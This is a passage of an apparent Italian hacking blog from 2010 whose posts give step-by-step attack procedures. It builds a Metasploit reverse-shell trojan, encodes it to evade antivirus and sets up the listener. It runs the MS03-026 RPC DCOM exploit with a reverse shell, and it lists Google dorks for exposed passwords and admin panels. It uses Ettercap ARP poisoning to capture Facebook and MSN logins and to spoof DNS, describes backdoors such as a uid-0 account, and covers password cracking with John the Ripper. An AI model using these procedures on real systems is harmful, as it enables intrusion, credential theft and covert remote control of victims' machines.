"C" , che sono abbastanza astratti per evitare di doversi occupare di dettagli e abbastanza "vicini alla macchina" per riuscire a scrivere programmi veloci , funzionali e flessibili.Qualunque sia il linguaggio scelto per programmare i programmatori sono esseri umani,e talvolta il codice che scrivono non corrisponde esattamente a quello che intendevano fare, e poichè un programma può fare soltanto quello che è scritto nelle sue istruzioni, si aprono delle falle nella sicurezza.Per trovare questi bugs occorre una mente creativa, alcuni errori sono comuni e ovvi, altri meno ovvi danno origine a tecniche di exploit complesse ed applicabili in svariate circostanze. Un errore molto comune è il "fuori di uno", se io vi domandassi quanti paletti sono necessari per completare una recinzione di 100 metri con un paletto ogni 10 metri, molti risponderebbero 10, in realtà ne occorrono 11 in quanto bisogna contare gli spazi e non i paletti.Questi errori raramente vengono rilevati in fase di debug perchè generalmente non si manifestano durante la normale esecuzione, ma con particolari valori di input si verifica l' errore dando origine ad un effetto valanga ,ed un programma apparentemente sicuro diventa vulnerabile. Un altro errore possibile per chi programma in un linguaggio ad alto livello come il C , è il "bufferoverflow", questo bug sfrutta il fatto che in C possiamo definire la dimensione massima di un buffer di dati in fase di programmazione, ma se non si implementa anche un algoritmo di controllo dell' input, i dati in eccesso scritti in quel buffer potrebbero sovrascrivere aree critiche della memoria provocando malfunzionamenti o blocchi ,sfruttando questo bug potrebbe essere possibile scrivere un exploit per prendere il controllo del computer stesso.La maggior parte dei programmatori scrive in linguaggio di alto livello ,e quindi spesso non prende in considerazione parametri come visibilità di variabili in memoria,chiamate allo stack,puntatori di esecuzione, registri ecc.Un hacker che conosca i comandi della macchina di basso livello comprende i meccanismi reali di esecuzione del software, e leggendo il codice compilato del programma ad alto livello potrebbe escogitare un sistema per cambiarne il flusso di esecuzione, questo senza infrangere alcuna regola del programma ma semplicemente utilizzandole in una maniera che non era stata prevista.

sabato 27 novembre 2010

Creare un trojan con metasploit

Oggi vediamo come è possibile creare un programma trojan utilizzando il tool Metasploit, la procedura è molto semplice,tuttavia se intendete provarlo fatelo solo nella vostra rete e sulle vostre macchine, io come sistema bersaglio ho utilizzato una macchina virtuale con windows xp, mentre come sistema attaccante una macchina con la solita distribuzione Backtrack 4.Come payload useremo una "reverse shell" che si connetta al nostro indirizzo Ip, l'utilizzo della reverse shell è preferibile specie se sul sistema bersaglio è installato un firewall, con la reverse shell il trojan è un client e non un server , e i firewall sono molto più permissivi con i client che con i server. La prima operazione da compiere è  lanciare metasploit, cosa che potete fare comodamente da menu, dopo bisogna caricare il payload scelto con il seguente comando:

./msfpayload windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=31117 X >/tmp/back.exe
In LHOST mettete il vostro indirizzo ip (in linux per trovarlo basta dare il comando "ifconfig"), LPORT è una porta a caso quindi potete anche lasciare quella scritta,"back.exe" è il nome dell' eseguibile scegliete quello che più vi piace, quando il file è pronto otterrete una risposta simile a questa:


La fase successiva è quella di cifrare il back.exe in modo da rendere la sua individuazione da eventuali antivirus più difficile, quindi diamo il comando:

./msfpayload windows/meterpreter/shell_reverse_tcp  R | msfencode -t exe >  back.exe

Il troyan è pronto, ma prima di testarlo bisogna mettere un server sul sistema attaccante in ascolto, useremo quello di metasploit, carichiamo innanzitutto il modulo "multi/handler" con il comando:

use exploit/multi/handler

In seguito settiamo il server con i comandi seguenti:

set payload windows/shell/reverse_tcp

set LHOST xxx.xxx.xxx.xxx (inserite il vostro ip)

set LPORT 31117 (inserite la porta scelta in precedenza)

Ora lanciamo il server con il comando :

exploit

Il server sul nostro sistema è in ascolto, adesso se eseguite il file back.exe sul sistema bersaglio(quello con windows),questo si connetterà al sistema attaccante restituendovi una shell di comando, in figura potete vedere la chiamata di back.exe al sistema attaccante.

 

giovedì 25 novembre 2010

Metasploit framework

Cercare di riassumere tutte le funzionalità di "Metasploit" in un solo articolo è un'impresa a dir poco ardua,quindi cercheremo di analizzare la sua struttura e i suoi possibili utilizzi in vari articoli corredati di esempi, che verranno postati nel blog di tanto in tanto.Per prima cosa cerchiamo di capire che cosa è esattamente "Metasploit", esso è un insieme di strumenti software (framework) dedicati allo sviluppo ed esecuzione di exploits,shellcodes,opcode. In sostanza possiamo affermare che in se "Metasploit" racchiude tutti gli strumenti che occorrono nel "penetration testing". La prima versione risale al 2004 originariamente scritta in perl,il suo grande  successo ha contribuito ed aumentato il suo sviluppo, grazie anche al fatto che metasploit consente di scrivere proprio codice , e partecipare cosi alla crescita del progetto.E' possibile accedere alle funzionalità del framework attraverso 5 interfacce:

1)mfsconsole , un'interfaccia testuale rapida stabile e completa.
2)mfscli, interfaccia testuale a riga di comando
3)msfweb, interfaccia web probabilmente la più "comoda" , che consente di utilizzare il framework direttamente dal browser
4)msfgui, interfaccia grafica propria.
5)msfapi , che consente l' interfacciamento del framework con altri strumenti software.

Generalmente un attacco si svolge attraverso 5 fasi:

1)Scelta e configurazione di un exploit, ovvero del codice che deve colpire una certa vulnerabilità.
2)Verifica che il sistema sia soggetto all' azione di quel particolare exploit.
3)Scelta e configurazione di un payload, codice che viene eseguito nel caso l' exploit abbia avuto successo.
4)Scelta della crittografia del payload.
5)Esecuzione dell' exploit.
 Ovviamente la scelta dell' exploit da utilizzare presuppone che il sistema bersaglio sia vulnerabile, per assicurarsi di ciò Backtrack mette a disposizione molti strumenti, a volte basta una scansione delle porte, a volte è necessario ricorrere a strumenti più complessi come Nessus,naturalmente è necessario che questa analisi sia più nascosta possibile.Facciamo un esempio tipico lavorando con mfsconsole, se ad una scansione con NMAP ricevete una risposta simile a questa:
 
Potete indirizzarvi subito sull' exploit da utilizzare, in quanto il sistema operativo dell' host remoto(windows) e la porta 135 aperta , indicano la ben nota falla sull'interfaccia RPC DCOM, quindi la scelta dell' exploit cadrà su msrpc_dcom_ms03_0026. Dalla console di Metasploit se digitate:

use msrpc_dcom_ms03_0026

Nel caso in esame , per un corretto funzionamento dell' exploit si deve settare l' indirizzo dell' host target,in generale digitando "show options" dopo "use (nome exploit)", si ottengono informazioni sui vari paramentri da settare.

set RHOST XXX.XXX.XXX.XXX

Ora l'exploit è pronto per essere eseguito sull' host target. Procediamo con la scelta del payload, metasploit mette a disposizione diversi payload che possono essere combinati con i vari exploit quelli più comuni sono:

-download_exec Scaricano ed eseguono un eseguibile sul sistema target.
-dllinject Istallano una libreria sul sistema target.
-exec Eseguono un comando sul sistema target.
-shell Ottengono una shell dei comandi sul sistema target.
-vncinject Eseguono una sessione vnc sul sistema terget.

Nel nostro esempio, carichiamo come payload una "reverse shell", in modo che se nel sistema target fosse presente un firewall che blocca i programmi server , non ci sarebbero problemi, in quanto la richiesta di connessione con questo tipo di payload avviene da parte del sistema target.

set PAYLOAD win32_reverse


Adesso settiamo LHOST, il nostro indirizzo IP per ricevere la connessione:

set LHOST xxx.xxx.xxx.xxx

Ed infine lanciamo l' exploit con il comando:

exploit

Se tutto è andato bene avrete la vostra shell, come mostrato in figura.

mercoledì 24 novembre 2010

Esempi di google hacking

Abbiamo avuto occasione di parlare di google hacking , oggi volevo presentarvi alcuni esempi significativi della potenza di questo tipo di tecniche. Cominciamo con l' hacking di Microsoft Frontpage la stringa da ricercare è la seguente:

inurl:_vti_pvt "service.pwd"


Username è password in bella mostra,ovviamente, se nel sito che amministrate è presente una debolezza di questo tipo ,dovete porvi subito rimedio.Un altro esempio è la ricerca di accesso al pannello di amministrazione PHP, la stringa è la seguente:

intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*"

Come potete vedere abbiamo ottenuto un accesso privilegiato senza bisogno di nessuna password.Vediamo ora l' hacking di qualche fotoalbum online, la stringa è la seguente:

inurl:"phphotoalbum/upload"

  
In questo caso sarebbe possibile l'upload di foto verso il sito. Altro valido esempio è l hacking di VNC, la stringa di ricerca è questa:

"vnc desktop" inurl:5800

In questo caso, per accedere al desktop remoto, bisognerebbe craccare la password, magari utilizzando qualche  software specializzato come xhydra.Come ultimo esempio vediamo come procedere per l hacking di qualche stampante di rete, la stringa di ricerca è questa:

inurl:"port_255" -htm
Selezionando un file sulla nostra macchina viene inviato e poi stampato.Come potete capire google è un mezzo molto potente per recuperare informazioni di ogni tipo, anzi potremmo dire che il primo test di sicurezza del vostro sito dovrebbe partire proprio da qui.

martedì 23 novembre 2010

Le backdoor

Le backdoor come suggerisce la sua traduzione "porta sul retro", sono dei canali di comunicazione privilegiati che consentono di superare le procedure di sicurezza di un sistema informatico.A volte sono cerate di proposito per permettere l'accesso a un sistema per motivi di gestione, ma molto più spesso sono dovute a malware(virus,trojan) o ad eventuali bugs. Una backdoor su un sistema informatico è una cosa molto grave dal punto di vista della sicurezza, in quanto potrebbe consentire a chiunque entrasse in possesso dell' indirizzo IP della macchina di controllarla da remoto, consentendo di esplorare il contenuto del sistema , modificare file o directory, modificare il registro e quant'altro. Una backdoor molto nota su sistemi UNIX è quella di craccare le password contenute nel file /etc/passwd, in tal modo si otterrebbero più account disponibili, per poter tornare sulla macchina tutte le volte che si vuole senza destare sospetti. Inoltre si potrebbe creare un utente nuovo e mettere uid/gid a 0 in modo da avere privilegi di root. Altre backdoor più complesse sono quelle che consentono accessi al sistema non da rete locale ma dall' esterno, ed esempio attraverso internet, molte volte gli amministratori cercano di controllare gli accessi loggando solamente le connessioni TCP senza occuparsi di altri protocolli come UDP e ICMP, permettendo agli hacker con una backdoor di farsi restituire una shell su quella porta bypassando il firewall.Un esempio in questo senso è possibile col programma ping, molti firewall consentono il ping dall' esterno , cosi un hacker inserendo alcuni dati nel pacchetto ICMP ,ed avendo installato una backdoor sul sistema, potrebbe farsi restituire una shell ed avere accesso al sistema. Un altro valido esempio è una backdoor sui processi in stato di running, modificando il comando "ps" che lista i processi, si potrebbe nasconderli agli occhi dell' amministratore del sistema, come potete capire gli esempi che si possono fare sono molti e variegati. In uno dei prossimi articoli faremo conoscenza con un tool, contenuto in backtrack 4 chiamato "metasploit", e vedremo come costruire un "eseguibile esca"  che apre una backdoor su sistemi windows e che ci restituisce una shell in modo da aver accesso alla macchina da remoto.

lunedì 22 novembre 2010

Sniffare password Facebook e MSN con Ettercap

Oggi analizziamo un' altra possibilità offerta da Ettercap, ossia la possibilità di catturare password su reti commutate anche se sono criptate con protocollo SSL 1, come per esempio autenticazioni Facebook o MSN o hotmail, anche in questo caso Ettercap svolge magicamente tutto il lavoro, dobbiamo solo fare una piccola modifica al file /etc/etter.conf.
Quindi la prima cosa da fare è aprire con un editor di testo etter.conf, scorrete il file fino a trovare queste linee:
#---------------
#     Linux
#---------------

# if you use ipchains:
   #redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
   #redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Modificatele come segue e salvate il file.

#---------------
#     Linux
#---------------

# if you use ipchains:
   redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
   redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Adesso, selezionate la vostra interfaccia, effettuate lo scaning degli hosts, non selezionate nessun target in modo che tutti gli hosts della lan saranno intercettati.Quindi selezionare il menu "Mitm –> ARP Poisoning" spuntate l' opzione "sniff remote connections" e dare OK.Fatto tutto questo iniziate lo sniffing "Start –> Start Sniffing". Non resta che aspettare, se un utente cerca di autentificarsi su una connessione SSL riceverà una finestra di dialogo che gli chiederà di esaminare il certificato dell’account ,una volta ricevuto il consenso ettercap vi mostrerà password e username.

domenica 21 novembre 2010

DNS spoofing con Ettercap

Il DNS è un protocollo che ha il compito di tradurre gli indirizzi in forma simbolica (es. www.indirizzo.it) in indirizzi IP xxx.xxx.xxx.xxx. Quando nel browser scrivete un indirizzo che intendete visitare, esso scambia informazioni con  il server DNS che restituisce alla vostra macchina l' IP corretto.Con la tecnica di DNS spoofing la richiesta (query) della vittima al server dns, viene catturata dall' attaccante che invia una risposta diversa da quella corretta.Questo tipo di attacco è molto pericoloso, immaginate di voler visitare il sito della vostra banca online ,ma al vostro router è collegato anche qualche malintenzionato, egli potrebbe reindirizzarvi su un falso sito e potrebbe catturare tutti vostri dati sensibili. Con Ettercap questa tecnica è veramente semplice, a patto di essere nella stessa sottorete, vediamo come è possibile implementarla.Immaginiamo questo scenario , un router, due computer connessi, uno della vittima e uno dell' attaccante. La prima operazione da compiere è modificare il file /usr/share/ettercap/etter.dns, supponiamo di volere reindirizzare la vittima a questo indirizzo 85.85.85.85 quando cerca di visualizzare il sito www.test.it , in questo caso basta scrivere in etter.dns:

test.it A 85.85.85.85
*.test.it A 85.85.85.85
www.test.it PTR 85.85.85.85

Quindi salvare il file.

Fatta questa operazione, eseguire Ettercap, aggiungere il router come target1 e la vittima come target2(vedi articolo precedente), poi dal menu "Mitm –> ARP Poisoning"  spuntate l' opzione "sniff remote connections",e dare OK. Ora dal menu "Plugins -> Menage the plugins" selezionate dns_spoof:

Infine dal menu "Start -> Start sniffing".
Quando la vittima cercherà di visualizzare l' indirizzo www.test.it o test.it, verrà reindirizzato all' IP 85.85.85.85.Questo esempio vi dovrebbe mettere in guardia sull' eventuale insicurezza della vostra rete, specie se si tratta di rete wifi, prestate molta attenzione al vostro router e al tipo di protezione che utilizzate.

sabato 20 novembre 2010

Sniffing di rete con Ettercap

Definire Ettercap come un semplice sniffer di rete è molto riduttivo, questo utilissimo software è in grado di fare ben altro, in questo articolo cercherò di fare una panoramica su come è possibile utilizzarlo. Ettercap a differenza degli sniffer "tradizionali", può intercettare traffico di rete anche in reti switchate,  senza ricorrere a programmi esterni per compiere l ' arp-poisoning.Oltre a questo Ettercap possiede delle capacità di HTTPS E SSL 1 password sniffing ,OS fingerprinting(riconoscimento dei sistemi operativi) su host in rete, possibilità di killing sulle connessioni e capacità di DNS spoofing. Chi ha preparato la chiavetta con Backtrack 4, potrà subito cimentarsi nel provare il programma , gli altri possono  scaricarlo a questo indirizzo http://ettercap.sourceforge.net/download.php.Vediamo ad esempio come è semplice sniffare il traffico fra un router e un sistema bersaglio, una volta lanciata l'interfaccia grafica selezionare la voce di menu  "Sniff –> Unified Sniffing" , da qui è possibile scegliere l'interfaccia di rete da utilizzare nello sniffing. Per cercare gli  hosts connessi scegliere dal menu "Hosts –> Scan for Hosts", dopo qualche secondo dal menu "Hosts –> Hosts List" è possibile vedere tutti gli hosts collegati alla rete.Ora potete scegliete il vostro sistema bersaglio, dalla finestra "Hosts List" selezionare l' indirizzo del router e cliccare su "Add to target 1", ripetete la stessa operazione per il sistema bersaglio e premere "Add to target 2". Quindi selezionare il menu "Mitm –> ARP Poisoning" spuntate l' opzione "sniff remote connections" e dare OK.
Ed infine cominciate lo sniffing , menu "Start –> Start Sniffing".

Le potenzialità del software non sono affatto finite,si possono utilizzare plugin e filtri, vediamo ad esempio come è possibile impedire la connessione alla rete di un particolare IP con l'ausilio dei filtri.Prima operazione da compiere è scrivere il filtro, dobbiamo semplicemente scrivere in un file di testo questo codice:


#filtra uno specifico ip
if(ip.src=='xxx.xxx.xxx.xxx'){
kill();
drop();
}
#eof
#vim:ts=3:expandtab

Al posto delle x inserire l'IP che volete filtrare e salvate il tutto con il nome "etter.myfilt" nella directory:
/usr/share/ettercap/.
Adesso da terminale digitate:
etterfilter -o /usr/share/ettercap/etter.myfilt.ef  /usr/share/ettercap/etter.myfilt
Ok, il filtro è pronto e compilato.

Eseguite ettercap, scegliete  l' interfaccia, trovate gli host, aggiungete il router come come target1, poi il vostro sistema bersaglio come target2, quindi "Mitm –> ARP Poisoning" spuntando "sniff remote connections" dare OK, iniziate lo sniffing "Start –> Start Sniffing".Quando lo sniffing è in corso dal menu "filters" selezionate il file che avete creato "etter.myfilt.ef" , all'IP specificato nel filtro viene impedito il collegamento alla rete. Altri esempi sui filtri sono contenuti nella directory /usr/share/ettercap/, ad ogni modo torneremo ancora su ettercap per scoprire altre interessanti possibilità.

venerdì 19 novembre 2010

Google hacking

Diciamo che con "google hacking" si intende una semplice tecnica di hacking che consiste nello sfruttare il più potente motore di ricerca per ottenere informazioni riservate, queste possono consentire di violare siti o account o semplicemente di entrare in possesso di informazioni di cui non era prevista la diffusione pubblica.Per praticare il google hacking non è necessario di essere in possesso di particolari conoscenze informatiche o di software particolari e complicati, tutto quello che occorre è il vostro browser e familiarizzare con i parametri di ricerca avanzata che è possibile utilizzare con google.Diciamo che in se queste tecniche non sono illegali, ma potrebbe essere illegale l'uso che si fa delle informazioni di cui siete venuti in possesso, ad esempio se trovo la password dell' amministratore di un sito e la uso per entrare senza il consenso del legittimo proprietario, allora commetto un reato.Quindi utilizzate queste tecniche per scoprire eventuali "debolezze" presenti nel vostro sito, mentre cercate di evitare intrusioni dove non siete stati invitati. Ora analizziamo gli operatori di ricerca avanzata che ci mette a disposizione google:

site: Con questo parametro è possibile ricercare all' interno di un particolare sito o categoria di siti , esempio se vogliamo cercare la parola "internet" all' interno di questo sito basta scrivere:

"internet site:d1966.blogspot.com"

related:  Serve per cercare un indirizzo url simile a quello che noi inseriamo nel campo di ricerca, ad esempio se cerchiamo un indirizzo simile a quello di alice scriviamo:

"related:www.alice.it"
 
link: Con questo operatore possiamo ricercare tutti i siti che contengono un link al collegamento da noi scritto nel campo di ricerca, esempio:

"link:www.alice.it"

inurl: Seguito da uno o più termini, ricerca risultati che includono il primo termine da noi
cercato nell’URL delle pagine e gli altri termini sia nell’URL che nel testo del sito trovato, esempio:

"inurl:telefono alice"

allinurl: Con questo operatore, ricerchiamo tutte le parole  solo all’interno dell’URL, esempio:

"allinurl:alice"

intitle: Utilizato per ricercare la prima parola nel titolo della pagina , e le eventuali altre parole sia nel titolo che nel testo, esempio:

"intitle:alice telefono"

allintitle: Inserendo questo operatore prima delle parole da cercare, avremo come risultato della ricerca solo link che hanno le parole da noi cercate nel titolo della pagina , esempio:

"allintitle:alice telefono"

cache: Con questa funzione, cerchiamo solo le pagine web della cache di google, esempio:

"cache:alice telefono"
 
info: Operatore che consente di cercare info riguardanti il sito che inseriamo nella casella di ricerca, esempio:

"info:www.alice.it"

filetype: Operatore che consente di cercare file con una determinata estensione, esempio:

"alice filetype:doc"

Oltre a questi operatori è possibile raffinare meglio la ricerca con operatori booleani per combinare insieme due o più opzioni di ricerca essi sono:

and: Per ricercare tutte le parole, esempio:

"terra and fuoco"

or: Per ricercare almeno una delle parole, esempio:

"terra or mare or fuoco"

- : Per escludere una o più parole, esempio:

"terra -mare"

 
+ : Per includere una o più parole, esempio:

"terra +la"

* (asterisco): L’asterisco è un operatore speciale che ci agevola nella ricerca. Se cerchiamo la parola “salut*”cercheremo tutte le parole che iniziano con "salut", esempio:

"salut*"
 
"": Le virgolette servono a ricercare una corrispondenza esatta della frase come la scriviamo, esempio:

"indexof" (qui le virgolette ci vogliono)


Bene , adesso che abbiamo spiegato in che modo è possibile raffinare le nostre ricerche con google, non resta altro che concentrarsi sul "cosa vogliamo cercare", qui la vostra fantasia e competenza entrano in gioco, ad esempio se volete ricercare password in ambiente windows potete provare con una stringa del genere:

 
"site:www.prova.it filetype:pwd"

Oppure per ricercare delle cartelle riservate, che molto spesso gli amministratori dimenticano di proteggere o cancellare, potete provare con questa stringa:

"site:www.prova.it indexof “parent directory”"

Torneremo ancora su questo argomento, per capire come è possibile ricercare non solo documenti ma particolari software installati sui server con dei bugs noti ,che potrebbero essere sfruttati per penetrare senza problemi nei siti.

giovedì 18 novembre 2010

Guida a john the ripper

Come accennato nell'articolo precedente "john the ripper" consente di fare molto di più di un attacco dizionario, questa piccola guida spero serva a spiegare meglio le sue potenzialità.Esaminiamo la sintassi e le opzioni possibili:

john [OPTIONS] [PASSWORD-FILES] 
-single
-wordfile:FILE
-rules
-incremental[:MODE]
-external:MODE
-stdout[:LENGTH]
-restore[:FILE]
-session:FILE
-status[:FILE]
-make-charset:FILE
-show
-test
-users:[-]LOGIN|UID[,..]
-groups:[-]GID[,..]
-salts:[-]COUNT
-format:NAME (DES/BSDI/MD5/BF/AFS/LM)
-savemem:LEVEL

Per quanto riguarda il password-files, non sono altro che i nomi(o il nome)  dei file delle password da craccare.Per le opzioni:

-single Questa opzione è consigliata solo per le password "deboli" in quanto comprende solo poche regole e il dizionario di default con poche parole.
john -single pass.txt (pass.txt è il file dove sono memorizzate le password da craccare)

-wordfile:FILE Utilizza un dizionario personalizzato al posto di quello di default.Prova con ogni parola della lista finché non trova una corrispondenza o raggiunge la fine della lista.
john -wordfile:password.lst pass.txt

-rules Consente di definire le regole per l'utilizzo di liste di parole.Le opzioni sono tante se volete utilizzare questo comando vi consiglio di guardare qui http://www.openwall.com/john/doc/RULES.shtml.

-incremental[:MODE] Consente di eseguire un attacco bruteforce,con particolari regole.
john -incremental:alpha pass.txt (solo lettere)
john -incremental:digits pass.txt (solo numeri)
john -incremental:lanman pass.txt (lettere, numeri,e alcuni caratteri speciali)
john -incremental:all pass.txt (tutti i caratteri)

-external:MODE Usato per definire modalità esterne per il cracking, usando funzioni scritte in linguaggio C.
 john -external:[MODE] pass.txt

-stdout[:LENGTH] Non serve a craccare, ma a scrivere in un file o verso l'input di un altro programma.
john -incremental:alpha -stdout (es. stampa tutte le combinazioni di lettere a video)

-restore[:FILE] Durante il funzionamento di john se si preme ctrl + c,prima di uscire dal programma verrà creato un file chiamato "restore",successivamente si può riprendere da quel punto utilizzando questa opzione.
john -restore:restore

-session:FILE Cambia il nome del file per il restore. 
john -session:[nomefile] pass.txt

-status[:FILE] Mostra i progressi fatti nel file restore. 
john -status:[nomefile]

-show Mostra quante password sono state craccate e quante no.
john -show pass.txt

-make-charset:FILE Usato per definire un set di caratteri personalizzati per il cracking, questo file verrà utilizzato con la modalità incrementale (-incremental[:MODE]) 
john -make-charset:custom.chr pass.txt

-test Mostra quanto velocemente john funziona sul tuo computer. 
john -test

-users:[-]LOGIN|UID[,..] Cracca le password solo per l'utente o gli utenti indicati. 
john -users:User pass.txt

-groups:[-]GID[,..] Cracca le password solo per il gruppo o i gruppi indicati. 
john -group:gruppo pass.txt

-salts:[-]COUNT Cracca le password specificando il salt. 
john -salts:2 pass.txt

-format:NAME (DES/BSDI/MD5/BF/AFS/LM) Visto che john può decifrare diversi tipi di cifratura , è possibile indicarli con questa opzione.
john -format:DES pass.txt
john -format:BSDI pass.txt
john -format:MD5 pass.txt
john -format:BF pass.txt
john -format:AFS pass.txt
john -format:LM pass.txt

-savemem:LEVEL  Per salvare il processo in corso.
 john -savemem:1 pass.txt (salvato livello1)
 john -savemem:2 pass.txt (salvato livello2)

Ovviamente è possibile combinare insieme varie opzioni, ci sono anche interfacce grafiche che potete reperire in rete, onestamente non ho sentito la necessità di provarle, ad ogni modo esistono basta fare una ricerca su google.